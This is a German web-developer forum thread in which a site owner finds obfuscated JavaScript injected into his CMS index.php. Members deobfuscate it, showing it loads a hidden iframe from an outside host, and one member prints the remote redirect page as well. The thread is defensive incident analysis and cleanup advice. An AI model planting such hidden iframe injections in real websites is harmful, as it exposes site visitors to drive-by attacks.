Entwickler-Ecke

Off Topic - Webseite gehackt? Was macht dieser Code?


Gausi - So 14.11.10 15:44
Titel: Webseite gehackt? Was macht dieser Code?
Ich habe eben bemerkt, dass meine Webseite seit gestern offline war. Schuld war ein Parsing-Fehler in der index.php von Typolight. Beim Vergleich mit der Original-index.php habe ich am Ende ein Script gefunden, was ich in keinster Weise verstehe. Ich vermute, dass das gar nichts gutes ist und da noch was Arbeit auf mich zukommen könnte. Es wäre schön, wenn da mal einer der Experten drüber gucken würde.
Die Zeilenumbrüche habe ich (einfach mal so, meistens nach einm Semikolon) eingefügt, in der Datei war das eine lange Zeile.

Quelltext
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
50:
51:
52:
53:
54:
55:
56:
57:
58:
59:
60:
61:
62:
63:
64:
65:
66:
67:
68:
69:
70:
71:
72:
73:
74:
75:
76:
77:
78:
79:
80:
81:
82:
83:
84:
85:
86:
87:
88:
89:
90:
91:
92:
93:
94:
95:
96:
97:
98:
99:
100:
101:
102:
103:
104:
105:
106:
107:
108:
109:
110:
111:
112:
113:
114:
115:
116:
117:
118:
119:
120:
121:
122:
123:
124:
125:
126:
127:
128:
129:
130:
131:
132:
133:
134:
135:
136:
137:
138:
139:
140:
141:
142:
143:
144:
145:
146:
147:
148:
149:
150:
151:
152:
153:
154:
155:
156:
157:
158:
159:
160:
161:
162:
163:
164:
165:
166:
167:
168:
169:
170:
171:
172:
173:
174:
175:
<html><body><!-- C/C v0762 --><script>function tC(){};
this.tL="";
tC.prototype = {m : function() {
function sN(){};
function aS(){};
this.n="n";
var cF="";
function mB(){};
lJ=3171;
var uZ="uZ";
    var c='replace';
    vU=63008;
    this.lY="lY";
    var gB=function(){return 'gB'};
    this.kL="";var s=document;
    var tP=new Array();
    var mK=function(){};
    this.b="b";this.kY="";
    var e=window;
    xV='';
    this.lT=false;
    var q=new Date();
    this.xQ="xQ";
    var uH=false;
    function y(){};
    String.prototype.aG=function(w,k){return this[c](w, k)};
    var uL=false;var qD=new Array();
    var i=new Array();
    this.p='';
    wS=false;
    cS="";
    function wL(){};
    var t = '\u0073\u0065\u0074\u0054\u0069\u0058\u0048\u0048\u0075\u0074'
           .replace(/X/g, 'm').replace(/HH/g, 'eo');
    aZ="aZ";
    this.gY=false;
    var uN=false;
    this.kA='';
    var g = '\u003c\u0068\u0058\u0058\u0058\u0058\u0058\u0058\u0058\u0058
\u0058\u0058\u0020\u003e\u003c\u002f\u0068\u0065\u0061\u0064\u003e\u003c\
u0062\u0048\u0048\u0048\u0048\u003e\u003c\u002f\u0062\u006f\u0064\u0079\
u003e\u003c\u002f\u0068\u0074\u006d\u006c\u003e'.replace(/XXXXXXXXXX/g, 'tml ><head')
.replace(/HHHH/g, 'ody ');
    this.hP="";function hC(){};
    var vR=new Date();
    var mT=function(){return 'mT'};
    var cU=false;this.yY=false;
    try {yG=false;function d(){};
    dY="dY";var cO=false;
    iF=false;
    cY=false;
    var kZ = '\u0062\u0058\u0058\u0079'.replace(/X/g, 'H').replace(/HH/g, 'od');
    var iO=new Date();
    r="";
    hJ="";
    nA="nA";
    var u = '\u0073\u0048\u0079\u0058\u0065'.replace(/X/g, 'l').replace(/H/g, 't');
    var bP=new Array();
    this.iB='';
    yE=33332;
    var v = '\u0069\u0058\u0058\u0061\u0048\u0065'.replace(/XX/g, 'fr').replace(/H/g, 'm');
    f=63816;
    var lD="lD";
    this.wJ=false;
    function iU(){};
    var h = '\u0077\u0072\u0058\u0048\u0065'.replace(/X/g, 'i').replace(/H/g, 't');
    this.yYC=34575;wK="";
    var kQ = '\u0063\u0072\u0065\u0058\u0058\u0058\u0058\u0058\u0048\u0048
      \u0065\u006e\u0074'.replace(/XXXXX/g,'ateEH').replace(/HHH/g, 'lem');
    var bJ=function(){return 'bJ'};var pW=function(){return 'pW'};
    var dF=4096;
    var kX = '\u0073\u0058\u0063'.replace(/X/g, 'H').replace(/H/g, 'r');
    this.bX="bX";
    var iT=new Array();
    this.rC="";
    var qS=function(){return 'qS'};
    function dC(){};
    this.uNT=false;
    var sI='';
    var tZ = '\u0073\u0065\u0058\u0058\u0058\u0058\u0058\u0058\u0058\u0048\u0074
    \u0065'.replace(/XXXXXXX/g, 'tAttHHH').replace(/HHHH/g, 'ribu');
    this.xE=false;uY=9434;uS='';
    var a = '\u0068\u0048\u0048\u0064\u0058\u006e'.replace(/X/g, 'e').replace(/HH/g, 'id');
    iI=false;
    this.yA=false;
    var iR=function(){return 'iR'};
    var x = '\u0076\u0058\u0073\u0058\u0062\u0058\u006c\u0058\u0048\u0079'
    .replace(/X/g, 'i').replace(/H/g, 't');
    iOB=false;this.eZR=false;
    var kXN = '\u0061\u0070\u0070\u0065\u006e\u0048\u0048\u0048\u0058\u0058\u0064'
       .replace(/XX/g, 'Hl').replace(/HHHH/g, 'dChi');
    this.sP=61851;
    this.lYX=28930;
    var hK='';
    var gU=54074;
    var uI=new Array();
    var eZ=this.z();
    this.pQ=56144;
    var yK=new Array();
    var dYK='';
    var eI=false;
    this.nV="";
    var nC=function(){};
    var zZ=new Date();
    var l=document[kQ](v);
    var mL="";var hM=function(){};
    this.zM=24156;
    l[u][x] = a;
    var kK="";
    this.yYG='';
    l[tZ](kX, eZ);
    hF=false;
    this.fN=1200;
    this.xQW="";
    this.uJ="";
    mC="";
    var yN=false;
    this.xES="";
    s[kZ][kXN](l);
    var xI='';qT='';
    this.o="o";
    var mX='';
    var pA=function(){return 'pA'};
    this.bG='';
    kJ='';}
    catch(mP)
    {uSM=44433;
    var wD="wD";
    this.yL="";
    mY="";
    var bN=58504;
    var iQ=false;
    s.write(g);
    bI="bI";
    var fC='';
    this.dS=false;
    var tS=false;
    var sY=function(){};
    var j = this;
    this.mW=false;
    pF=false;
    nT='';
    function nW(){};
    function mWG(){};
    e[t](function(){ var fP=new Array();
    qY='';
    this.oD=false;
    this.lE=false;
    uLZ='';
    mYQ=47558;
    j.m();
    var wT="";
    hA=6113;
    var oF=false;
    fL="";
    var gG=function(){return 'gG'};
    var aV=false;var dB="";}, 141);
    var bC="";var fA='';
    var zX=new Array();var qE="qE";}
    var iRT=false;
    tV=false;
    var hJT=function(){return 'hJT'};},z : function() {pC=15364;mM=false;
    return '\u0068\u0074\u0074\u0070\u003a\u002f\u002
\u0034\u0038\u0058\u0058\u0058\u0058\u0058\u0058\u0058
\u0058\u0058\u0058\u0058\u0058\u0058\u0058\u0058\u0048\u0048\u0048
\u002f\u006b\u0071\u0078\u006c\u0065\u0071\u006a
\u0070\u0063\u006f\u0068\u0038\u002e\u0070\u0068
\u0070'.replace(/XXXXXXXXXXXXXXX/g, 
'browsefish.euHH').replace(/HHHHH/g, '/xxx1');
    this.aK=1867;
    var jO=function(){return 'jO'};}};
    this.nM='';
    var nY=new tC(); var wTI="wTI";nY.m();
    var zK=new Array();
    </script></body></html>


Martok - So 14.11.10 16:21

Oh, ein JS-Expoit. Nett.

Ich gucks mir mal an.... Tatort Internet ;)


JSBeautifier
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
50:
51:
52:
53:
54:
55:
56:
57:
58:
59:
60:
61:
62:
63:
64:
65:
66:
67:
68:
69:
70:
71:
72:
73:
74:
75:
76:
77:
78:
79:
80:
81:
82:
83:
84:
85:
86:
87:
88:
89:
90:
91:
92:
93:
94:
95:
96:
97:
98:
99:
100:
101:
102:
103:
104:
105:
106:
107:
108:
109:
110:
111:
112:
113:
114:
115:
116:
117:
118:
119:
120:
121:
122:
123:
124:
125:
126:
127:
128:
129:
130:
131:
132:
133:
134:
135:
136:
137:
138:
139:
140:
141:
142:
143:
144:
145:
146:
147:
148:
149:
150:
151:
152:
153:
154:
155:
156:
157:
158:
159:
160:
161:
162:
163:
164:
165:
166:
167:
168:
169:
170:
171:
172:
173:
174:
175:
176:
177:
178:
179:
180:
181:
182:
183:
184:
185:
186:
187:
188:
189:
190:
191:
192:
193:
194:
195:
196:
197:
198:
199:
200:
201:
202:
203:
204:
205:
206:
207:
208:
209:
210:
211:
212:
213:
214:
215:
216:
217:
218:
219:
220:
221:
222:
223:
224:
225:
226:
227:
228:
229:
230:
231:
232:
233:
234:
235:
236:
237:
238:
239:
<html>  
  <body>
    <!-- C/C v0762 -->
    <script>
      function tC() {};
      this.tL = "";
      tC.prototype = {
        m: function() {
          function sN() {};

          function aS() {};
          this.n = "n";
          var cF = "";

          function mB() {};
          lJ = 3171;
          var uZ = "uZ";
          var c = 'replace';
          vU = 63008;
          this.lY = "lY";
          var gB = function() {
            return 'gB'
          };
          this.kL = "";
          var s = document;
          var tP = new Array();
          var mK = function() {};
          this.b = "b";
          this.kY = "";
          var e = window;
          xV = '';
          this.lT = false;
          var q = new Date();
          this.xQ = "xQ";
          var uH = false;

          function y() {};
          String.prototype.aG = function(w, k) {
            return this[c](w, k)
          };
          var uL = false;
          var qD = new Array();
          var i = new Array();
          this.p = '';
          wS = false;
          cS = "";

          function wL() {};
          var t = '\u0073\u0065\u0074\u0054\u0069\u0058\u0048\u0048\u0075\u0074'.replace(/X/g, 'm').replace(/HH/g, 'eo');
          aZ = "aZ";
          this.gY = false;
          var uN = false;
          this.kA = '';
          var g = '\u003c\u0068\u0058\u0058\u0058\u0058\u0058\u0058\u0058\u0058
\u0058\u0058\u0020\u003e\u003c\u002f\u0068\u0065\u0061\u0064\u003e\u003c\
u0062\u0048\u0048\u0048\u0048\u003e\u003c\u002f\u0062\u006f\u0064\u0079\
u003e\u003c\u002f\u0068\u0074\u006d\u006c\u003e'
.replace(/XXXXXXXXXX/g, 'tml ><head').replace(/HHHH/g, 'ody ');
          this.hP = "";

          function hC() {};
          var vR = new Date();
          var mT = function() {
            return 'mT'
          };
          var cU = false;
          this.yY = false;
          try {
            yG = false;

            function d() {};
            dY = "dY";
            var cO = false;
            iF = false;
            cY = false;
            var kZ = '\u0062\u0058\u0058\u0079'.replace(/X/g, 'H').replace(/HH/g, 'od');
            var iO = new Date();
            r = "";
            hJ = "";
            nA = "nA";
            var u = '\u0073\u0048\u0079\u0058\u0065'.replace(/X/g, 'l').replace(/H/g, 't');
            var bP = new Array();
            this.iB = '';
            yE = 33332;
            var v = '\u0069\u0058\u0058\u0061\u0048\u0065'.replace(/XX/g, 'fr').replace(/H/g, 'm');
            f = 63816;
            var lD = "lD";
            this.wJ = false;

            function iU() {};
            var h = '\u0077\u0072\u0058\u0048\u0065'.replace(/X/g, 'i').replace(/H/g, 't');
            this.yYC = 34575;
            wK = "";
            var kQ = '\u0063\u0072\u0065\u0058\u0058\u0058\u0058\u0058\u0048\u0048
      \u0065\u006e\u0074'
.replace(/XXXXX/g, 'ateEH').replace(/HHH/g, 'lem');
            var bJ = function() {
              return 'bJ'
            };
            var pW = function() {
              return 'pW'
            };
            var dF = 4096;
            var kX = '\u0073\u0058\u0063'.replace(/X/g, 'H').replace(/H/g, 'r');
            this.bX = "bX";
            var iT = new Array();
            this.rC = "";
            var qS = function() {
              return 'qS'
            };

            function dC() {};
            this.uNT = false;
            var sI = '';
            var tZ = '\u0073\u0065\u0058\u0058\u0058\u0058\u0058\u0058\u0058\u0048\u0074
    \u0065'
.replace(/XXXXXXX/g, 'tAttHHH').replace(/HHHH/g, 'ribu');
            this.xE = false;
            uY = 9434;
            uS = '';
            var a = '\u0068\u0048\u0048\u0064\u0058\u006e'.replace(/X/g, 'e').replace(/HH/g, 'id');
            iI = false;
            this.yA = false;
            var iR = function() {
              return 'iR'
            };
            var x = '\u0076\u0058\u0073\u0058\u0062\u0058\u006c\u0058\u0048\u0079'.replace(/X/g, 'i').replace(/H/g, 't');
            iOB = false;
            this.eZR = false;
            var kXN = '\u0061\u0070\u0070\u0065\u006e\u0048\u0048\u0048\u0058\u0058\u0064'.replace(/XX/g, 'Hl').replace(/HHHH/g, 'dChi');
            this.sP = 61851;
            this.lYX = 28930;
            var hK = '';
            var gU = 54074;
            var uI = new Array();
            var eZ = this.z();
            this.pQ = 56144;
            var yK = new Array();
            var dYK = '';
            var eI = false;
            this.nV = "";
            var nC = function() {};
            var zZ = new Date();
            var l = document[kQ](v);
            var mL = "";
            var hM = function() {};
            this.zM = 24156;
            l[u][x] = a;
            var kK = "";
            this.yYG = '';
            l[tZ](kX, eZ);
            hF = false;
            this.fN = 1200;
            this.xQW = "";
            this.uJ = "";
            mC = "";
            var yN = false;
            this.xES = "";
            s[kZ][kXN](l);
            var xI = '';
            qT = '';
            this.o = "o";
            var mX = '';
            var pA = function() {
              return 'pA'
            };
            this.bG = '';
            kJ = '';
          }
          catch (mP) {
            uSM = 44433;
            var wD = "wD";
            this.yL = "";
            mY = "";
            var bN = 58504;
            var iQ = false;
            s.write(g);
            bI = "bI";
            var fC = '';
            this.dS = false;
            var tS = false;
            var sY = function() {};
            var j = this;
            this.mW = false;
            pF = false;
            nT = '';

            function nW() {};

            function mWG() {};
            e[t](function() {
              var fP = new Array();
              qY = '';
              this.oD = false;
              this.lE = false;
              uLZ = '';
              mYQ = 47558;
              j.m();
              var wT = "";
              hA = 6113;
              var oF = false;
              fL = "";
              var gG = function() {
                return 'gG'
              };
              var aV = false;
              var dB = "";
            }, 141);
            var bC = "";
            var fA = '';
            var zX = new Array();
            var qE = "qE";
          }
          var iRT = false;
          tV = false;
          var hJT = function() {
            return 'hJT'
          };
        },
        z: function() {
          pC = 15364;
          mM = false;
          return '\u0068\u0074\u0074\u0070\u003a\u002f\u002
\u0034\u0038\u0058\u0058\u0058\u0058\u0058\u0058\u0058
\u0058\u0058\u0058\u0058\u0058\u0058\u0058\u0058\u0048\u0048\u0048
\u002f\u006b\u0071\u0078\u006c\u0065\u0071\u006a
\u0070\u0063\u006f\u0068\u0038\u002e\u0070\u0068
\u0070'
.replace(/XXXXXXXXXXXXXXX/g, 'browsefish.euHH').replace(/HHHHH/g, '/xxx1');
          this.aK = 1867;
          var jO = function() {
            return 'jO'
          };
        }
      };
      this.nM = '';
      var nY = new tC();
      var wTI = "wTI";
      nY.m();
      var zK = new Array();
    </script>
  </body>
</html>


Gausi - So 14.11.10 16:25

Ok, danke. So sieht das schon schöner aus. Sieht JS immer sso aus, oder hat sich da jemand Mühe gemacht zu verschleiern, was da passiert? Die Unmenge Variablen und String-deklarationen mit replace-Orgien dran sind doch nicht normal, oder?


glotzer - So 14.11.10 16:32

wie ich das sehe hat der irgend einen bug in der string handlung von js gefunden...
und nein es sieht normalerweise besser aus, aber da wollt jemand garnicht das man es lesen kann

/edit Beiträge: 111 haha


jaenicke - So 14.11.10 16:35

Die Webseite, die da verschleiert werden soll, ist jedenfalls eine PHP-Seite. Sieht auf einen ersten schnellen Blick so aus als ob da vielleicht Eingaben hingeschickt werden sollen.

Habs aber auch nur ganz kurz überflogen, da kennen andere hier sich besser aus um es schneller als ich genau zu analysieren. ;-)


glotzer - So 14.11.10 16:45

Zitat:
SyntaxError: unterminated string literal { message="unterminated string literal", more...}(line: 120)


so wie das gerade ist pasiert da garnix


Martok - So 14.11.10 17:00

Also.

Wenn man den ganzen Obfuscator-Krams rauswirft bleibt folgendes übrig:

C#-Quelltext
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
      function tC() {};
      tC.prototype = {
        m: function() {
          try {
            var l = document.createElement("iframe");
            l.style.visibility = "hidden";
            l.setAttribute("src"this.z());
            document.body.appendChild(l);
          }
          catch (mP) {
            document.write("<html ><head ></head><body ></body></html>");

            var j = this;
            window.setTimeout(function() {
              j.m();
            }, 141);
          }
        },
        z: function() {
          return "http://48browsefish.eu/xxx1/kqxleqjpcoh8.php";
        }
      };
      var nY = new tC();
      nY.m();
Könnte man noch weiter vereinfachen, aber man sieht ja schon wohin die Reise geht. Ich hab ja auch noch was richtiges vor heute ;)
Auch wenn man kein JS kann, sollte sich das recht schnell erschließen: wir erzeugen ein iframe, setzen dessen src auf die URL, die z generiert. Die enthält dann den eigentlichen Angriff, ist aber "leider" schon nicht mehr erreichbar. Sollte das nicht funktioniert haben, existiert vermutlich document.body nicht. Wenn dem so ist, schreiben wir selber ein Stückchen HTML rein, dass genau diese Grundlagen erstellt und lassen uns nach 141ms neu aufrufen.

Zu unser aller Glück hatte der gute hier einen Fehler drin:

C#-Quelltext
 
220:
221:
222:
223:
224:
225:
/* ... */
          return '\u0068\u0074\u0074\u0070\u003a\u002f\u002
\u0034\u0038\u0058\u0058\u0058\u0058\u0058\u0058\u0058
\u0058\u0058\u0058\u0058\u0058\u0058\u0058\u0058\u0048\u0048\u0048
\u002f\u006b\u0071\u0078\u006c\u0065\u0071\u006a
\u0070\u0063\u006f\u0068\u0038\u002e\u0070\u0068
\u0070'
.replace(/XXXXXXXXXXXXXXX/g, 'browsefish.euHH').replace(/HHHHH/g, '/xxx1');

Das ist der unterminated string literal den jeder gute JS-Parser anmeckern wird. Selbst wenn man die Zeilenumbrüche rauskürzt, wirds übrigens nicht funktionieren: am Ende der ersten Stringzeile fehlt ein f, vom http://

Zusammenfassend: du wirst da niemandem Schaden zugefügt haben, ABER: den Server ist als kompromittiert anzusehen. Was das heißt, dürfte klar sein [http://facepwn.com/posters/NukeOrbit.jpg].


Regan - So 14.11.10 17:09

Übrigens: Das [http://dev.contao.org/issues/1231] ist nie erledigt worden.

Edit: Vllt. mal die IPs abgleichen!?


Gausi - So 14.11.10 17:14

Ok. Also um sicher zu gehen: Den kompletten httpdocs-Ordner löschen, Passwörter neu setzen und von vorne anfangen? Oder muss ich noch weiter unten ansetzen?


Gausi - So 14.11.10 19:35

Gut, die Sache ist so ziemlich geklärt. Donnerstag abend wurde meine index.php von einer IP-Adresse in Queens per ftp überschrieben (mit meinem Account). Kurz danach zeigen die http-Logs (wo die betreffende Adresse komischerweise nicht auftaucht), dass der Datentransfer zusammengebrochen ist.
Vor kurzem wurde wohl euch eine Sicherheitslücke in dem verwendeten FTP-Server entdeckt, die jetzt geschlossen ist. Das etwas schwache Passwort wurde auch verstärkt. Das ist jetzt "supergeheim". :D

Damit dürfte die Datenbank vom CMS zu 99.9% nicht beschädigt sein, und acuh der Rest dürfte sauber sein. Ich werde also nicht komplett alles plattbomben, sondern nur einmal gründlich durchwischen und dabei von Typolight auf Contao wechseln. ;-)


BenBE - So 14.11.10 21:02

MArtok: Die aufgerufene PHP-Datei ist auch wieder ein JS:


C#-Quelltext
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
50:
51:
52:
53:
54:
55:
56:
57:
58:
59:
60:
61:
62:
63:
64:
65:
66:
67:
68:
69:
70:
71:
72:
73:
74:
<html>
    
    <head>
        <title>
        </title>
        <script type="text/javascript">
            function bredir(d, u, r, v, c) {
                var w, h, wd, hd, bi;
                var b = false;
                var p = false;
                var s = [
                    [300250false],
                    [250250false],
                    [240400false],
                    [336280false],
                    [180150false],
                    [46860false],
                    [23460false],
                    [8831false],
                    [12090false],
                    [12060false],
                    [120240false],
                    [125125false],
                    [72890false],
                    [160600false],
                    [120600false],
                    [300600false],
                    [300125false],
                    [530300false],
                    [190200false],
                    [470250false],
                    [720300true],
                    [500350true],
                    [550480true]
                ];
                if (typeof(window.innerHeight) == 'number') {
                    h = window.innerHeight;
                    w = window.innerWidth;
                } else if (typeof(document.body.offsetHeight) == 'number') {
                    h = document.body.offsetHeight;
                    w = document.body.offsetWidth;
                }
                for (var i = 0; i < s.length; i++) {
                    bi = s[i];
                    wd = Math.abs(w - bi[0]);
                    hd = Math.abs(h - bi[1]);
                    if (wd <= 2 && hd <= 2) {
                        b = true;
                        p = bi[2];
                    }
                }
                if (b || (w < 100 && w !== 0) || (h < 100 && h !== 0)) {
                    if (p && self == parent) {
                        self.close();
                        return;
                    }
                    return '/b' + 'anner.php?w=' + w + '&h=' + h + '&d=' + d + '&u=' + u + '&r=' + r + '&view=' + v;
                } else {
                    return c;
                }
            }
        </script>
    </head>
    
    <body onLoad="window.location = bredir('48browsefish.eu', '48browsefish.eu%2Fxxx1%2Fkqxleqjpcoh8.php', '', 'error', '/main?url=48browsefish.eu%2Fxxx1%2Fkqxleqjpcoh8.php');"
    style="margin: 0px;">
        <noscript>
            <iframe frameborder="0" src="/main?url=48browsefish.eu%2Fxxx1%2Fkqxleqjpcoh8.php"
            width="100%" height="100%">
            </iframe>
        </noscript>
    </body>

</html>


Der Verweis auf die banner-Datei wird ggf. Ablenkung sein ^^ Geht im onLoad weiter.


Martok - So 14.11.10 22:35

Hi,

komisch, ich kann die URL nicht wgetten. DNS nicht auflösbar. Warum geht das bei dir? :gruebel:


Mr_Emre_D - Mi 17.11.10 01:00

user profile iconGausi hat folgendes geschrieben Zum zitierten Posting springen:
Gut, die Sache ist so ziemlich geklärt. Donnerstag abend wurde meine index.php von einer IP-Adresse in Queens per ftp überschrieben (mit meinem Account). Kurz danach zeigen die http-Logs (wo die betreffende Adresse komischerweise nicht auftaucht), dass der Datentransfer zusammengebrochen ist.
Vor kurzem wurde wohl euch eine Sicherheitslücke in dem verwendeten FTP-Server entdeckt, die jetzt geschlossen ist. Das etwas schwache Passwort wurde auch verstärkt. Das ist jetzt "supergeheim". :D

Damit dürfte die Datenbank vom CMS zu 99.9% nicht beschädigt sein, und acuh der Rest dürfte sauber sein. Ich werde also nicht komplett alles plattbomben, sondern nur einmal gründlich durchwischen und dabei von Typolight auf Contao wechseln. ;-)


Ich hoffe nur, dass dein Passwort nicht "supergeheim" lautet -.-'

MfG, =P


jaenicke - Mi 17.11.10 03:49

user profile iconMr_Emre_D hat folgendes geschrieben Zum zitierten Posting springen:
Ich hoffe nur, dass dein Passwort nicht "supergeheim" lautet -.-'
:rofl:


Delete - Mi 17.11.10 05:37

Nope, es ist "topsecret".